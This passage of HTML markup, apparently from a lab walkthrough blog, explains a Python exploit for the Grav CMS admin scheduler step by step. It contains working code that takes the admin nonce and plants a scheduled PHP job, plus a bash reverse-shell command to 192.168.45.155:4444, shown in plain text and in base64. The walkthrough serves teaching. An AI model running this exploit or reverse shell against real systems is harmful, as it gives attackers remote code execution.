#89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\">r<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">text<\/span><span style=\"color: #89DDFF\">).<\/span><span style=\"color: #82AAFF\">group<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> adminNonce <\/span><span style=\"color: #89DDFF\">!=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;&quot;<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    url <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> target <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">\/admin\/tools\/scheduler<\/span><span style=\"color: #89DDFF\">&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    data <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">admin-nonce=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">adminNonce<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    data <\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">&amp;task=SaveDefault&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">command<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=\/usr\/bin\/php&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">args<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=-r<\/span><span style=\"color: #F78C6C\">%20e<\/span><span style=\"color: #C3E88D\">val<\/span><span style=\"color: #F78C6C\">%28b<\/span><span style=\"color: #C3E88D\">ase64_decode<\/span><span style=\"color: #F78C6C\">%28%<\/span><span style=\"color: #C3E88D\">22<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">base64<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">b64encode<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">payload<\/span><span style=\"color: #89DDFF\">).<\/span><span style=\"color: #82AAFF\">decode<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">utf-8<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #F78C6C\">%22%<\/span><span style=\"color: #C3E88D\">29<\/span><span style=\"color: #F78C6C\">%29%<\/span><span style=\"color: #C3E88D\">3b&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">at<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=<\/span><span style=\"color: #F78C6C\">%2a%20%<\/span><span style=\"color: #C3E88D\">2a<\/span><span style=\"color: #F78C6C\">%20%<\/span><span style=\"color: #C3E88D\">2a<\/span><span style=\"color: #F78C6C\">%20%<\/span><span style=\"color: #C3E88D\">2a<\/span><span style=\"color: #F78C6C\">%20%<\/span><span style=\"color: #C3E88D\">2a&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">output<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">status<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=enabled&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">output_mode<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=append<\/span><span style=\"color: #89DDFF\">&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    headers <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">Content-Type<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">application\/x-www-form-urlencoded<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    r <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> s<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">post<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">target<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">\/admin\/config\/scheduler<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF; font-style: italic\">data<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">data<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF; font-style: italic\">headers<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">headers<\/span><span style=\"color: #89DDFF\">)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:3;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">Python<\/span><span role=\"button\" tabindex=\"0\" data-code=\"import requests\nimport sys\nimport re\nimport base64\ntarget= &quot;http:\/\/192.168.157.12\/grav-admin&quot;\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> requests<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> sys<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> re<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> base64<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">target<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.157.12\/grav-admin<\/span><span style=\"color: #89DDFF\">&quot;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>The first step is to import modules. Modules are simply other files with .py extensions that are like tools the script needs to run. Importing them is similar to getting the tools from a tool box and setting them out in front of you to use on a project. The above section imports the following Python modules to be utilized by the script.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>requests<\/code> &#8211; allows the script to send HTTP\/1.1 requests easily.<\/li>\n\n\n\n<li><code>re<\/code> &#8211; a set of Regular Expression facilities. Allows the script to check if a given string matches or contains a certain pattern.<\/li>\n\n\n\n<li><code>sys<\/code> &#8211; basic system tool that is always available to python.<\/li>\n\n\n\n<li><code>base64<\/code> &#8211; provides base64 encoding\/decoding (conversion of binary data to printable ASCII characters and vice versa).<\/li>\n<\/ul>\n\n\n\n<p>The target variable contains the IP address of our Target machine (Astronaut).<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:8;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">Python<\/span><span role=\"button\" tabindex=\"0\" data-code=\"#Change base64 encoded value with with below command.\n#echo -ne &quot;bash -i &gt;&amp; \/dev\/tcp\/192.168.45.155\/4444 0&gt;&amp;1&quot; | base64 -w0\npayload=b&quot;&quot;&quot;\/*&lt;?php \/**\/\nfile_put_contents('\/tmp\/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE1NS80NDQ0IDA+JjE='));chmod('\/tmp\/rev.sh',0755);system('bash \/tmp\/rev.sh');\n&quot;&quot;&quot;\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #545454; font-style: italic\">#Change base64 encoded value with with below command.<\/span><\/span>\n<span class=\"line\"><span style=\"color: #545454; font-style: italic\">#echo -ne &quot;bash -i &gt;&amp; \/dev\/tcp\/192.168.45.155\/4444 0&gt;&amp;1&quot; | base64 -w0<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #C792EA\">b<\/span><span style=\"color: #89DDFF\">&quot;&quot;&quot;<\/span><span style=\"color: #C3E88D\">\/*&lt;?php \/**\/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #C3E88D\">file_put_contents(&#39;\/tmp\/rev.sh&#39;,base64_decode(&#39;YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE1NS80NDQ0IDA+JjE=&#39;));chmod(&#39;\/tmp\/rev.sh&#39;,0755);system(&#39;bash \/tmp\/rev.sh&#39;);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF\">&quot;&quot;&quot;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>The script author&#8217;s comments (#) provides the command that creates a php reverse shell and encodes it into base64. The command breaks down thusly&#8230;<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span role=\"button\" tabindex=\"0\" data-code=\"echo -ne &quot;bash -i &gt;&amp; \/dev\/tcp\/192.168.45.155\/4444 0&gt;&amp;1&quot; | base64\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">echo <\/span><span style=\"color: #89DDFF\">-<\/span><span style=\"color: #EEFFFF\">ne <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">bash -i &gt;&amp; \/dev\/tcp\/192.168.45.155\/4444 0&gt;&amp;1<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">|<\/span><span style=\"color: #EEFFFF\"> base64<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>echo<\/code> &#8211;&gt; outputs the text provided to it.<\/li>\n\n\n\n<li><code>-ne<\/code> &#8211;&gt; tells <code>echo<\/code> not to output the trailing newline character and enables interpretation of backslash escapes, allowing special characters like <code>\\n<\/code> (newline) to be processed correctly if included.<\/li>\n\n\n\n<li><code>\"bash -i &gt;&amp; \/dev\/tcp\/192.168.45.155\/4444 0&gt;&amp;1\"<\/code> &#8211;&gt; This is the actual command that creates the reverse shell.\n<ul class=\"wp-block-list\">\n<li><code>bash -i<\/code> &#8211;&gt; Starts an interactive Bash shell.<\/li>\n\n\n\n<li><code>&gt;&amp;<\/code> &#8211;&gt; Redirects both standard output (stdout) and standard error (stderr) to the specified destination.<\/li>\n\n\n\n<li><code>\/dev\/tcp\/192.168.xx.xx\/4444<\/code> &#8211;&gt; Opens a TCP connection to the IP address <code>192.168.xx.xx<\/code> on port <code>4444<\/code>. This is where Kali will be listening.<\/li>\n\n\n\n<li><code>0&gt;&amp;1<\/code> &#8211;&gt; Redirects standard input (stdin) to the same destination as standard output (stdout), effectively tying the input and output streams of the Bash shell to the TCP connection.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><code>| base64 -w0<\/code>\n<ul class=\"wp-block-list\">\n<li><code>|<\/code> &#8211;&gt; a pipe, which takes the output of the command on its left (the <code>echo<\/code> command) and passes it as input to the command on its right (the <code>base64<\/code> command).<\/li>\n\n\n\n<li><code>base64<\/code> &#8211;&gt; encodes the input it receives into Base64, a text-based encoding scheme that represents binary data in an ASCII format.<\/li>\n\n\n\n<li><code>-w0<\/code> &#8211;&gt; this option prevents the <code>base64<\/code> command from wrapping its output. The encoded string will be on a single continuous line, which is often necessary for embedding the encoded data in scripts or web requests.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:13;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">Python<\/span><span role=\"button\" tabindex=\"0\" data-code=\"s = requests.Session()\nr = s.get(target+&quot;\/admin&quot;)\nadminNonce = re.search(r'admin-nonce&quot; value=&quot;(.*)&quot;',r.text).group(1)\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">s <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> requests<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">Session<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">r <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> s<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">get<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">target<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">\/admin<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">adminNonce <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> re<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">search<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C792EA\">r<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">admin-nonce&quot; value=&quot;<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C3E88D\">.<\/span><span style=\"color: #89DDFF\">*)<\/span><span style=\"color: #C3E88D\">&quot;<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\">r<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">text<\/span><span style=\"color: #89DDFF\">).<\/span><span style=\"color: #82AAFF\">group<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>This portion of the script establishes a session. A session object &#8216;s&#8217; is created for persistent HTTP connections. A persistent session is where a single HTTP session is used for multiple requests\/responses, rather than using a new session for every single request\/response.<\/p>\n\n\n\n<p>The next line sends an HTTP GET request to the target &#8220;\/admin&#8221; page.<\/p>\n\n\n\n<p>Third line, a regular expression (remember the re module?) is used to extract the <code>admin-nonce<\/code> value from the response. The <code>admin-nonce<\/code> is likely a CSRF token required for authenticated requests.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>It searches the HTML response (<code>r.text<\/code>) for the first occurrence of the pattern &#8220;<code>admin-nonce\" value=\"(.*<\/code>)&#8221;. The pattern is looking for an attribute named <code>admin-nonce<\/code> with any value. The value inside the double quotes after &#8220;<code>admin-nonce\" value=\"<\/code> is captured by the <code>(.*)<\/code> part of the pattern.<\/li>\n<\/ul>\n\n\n\n<p>NOTE: Regular Expressions are a bit complex. I am searching for a better way to learn and explain them.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:16;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">Python<\/span><span role=\"button\" tabindex=\"0\" data-code=\"if adminNonce != &quot;&quot; :\n    url = target + &quot;\/admin\/tools\/scheduler&quot;\n    data = &quot;admin-nonce=&quot;+adminNonce\n    data +='&amp;task=SaveDefault&amp;data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=\/usr\/bin\/php&amp;data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&amp;data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&amp;data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&amp;data%5bstatus%5d%5bncefs%5d=enabled&amp;data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'\n    headers = {'Content-Type': 'application\/x-www-form-urlencoded'}\n    r = s.post(target+&quot;\/admin\/config\/scheduler&quot;,data=data,headers=headers)\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> adminNonce <\/span><span style=\"color: #89DDFF\">!=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;&quot;<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    url <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> target <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">\/admin\/tools\/scheduler<\/span><span style=\"color: #89DDFF\">&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    data <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">admin-nonce=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">adminNonce<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    data <\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">&amp;task=SaveDefault&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">command<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=\/usr\/bin\/php&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">args<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=-r<\/span><span style=\"color: #F78C6C\">%20e<\/span><span style=\"color: #C3E88D\">val<\/span><span style=\"color: #F78C6C\">%28b<\/span><span style=\"color: #C3E88D\">ase64_decode<\/span><span style=\"color: #F78C6C\">%28%<\/span><span style=\"color: #C3E88D\">22<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">base64<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">b64encode<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">payload<\/span><span style=\"color: #89DDFF\">).<\/span><span style=\"color: #82AAFF\">decode<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">utf-8<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #F78C6C\">%22%<\/span><span style=\"color: #C3E88D\">29<\/span><span style=\"color: #F78C6C\">%29%<\/span><span style=\"color: #C3E88D\">3b&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">at<\/span><span style=\"color: #F78C6C\">%5d<\/span><span 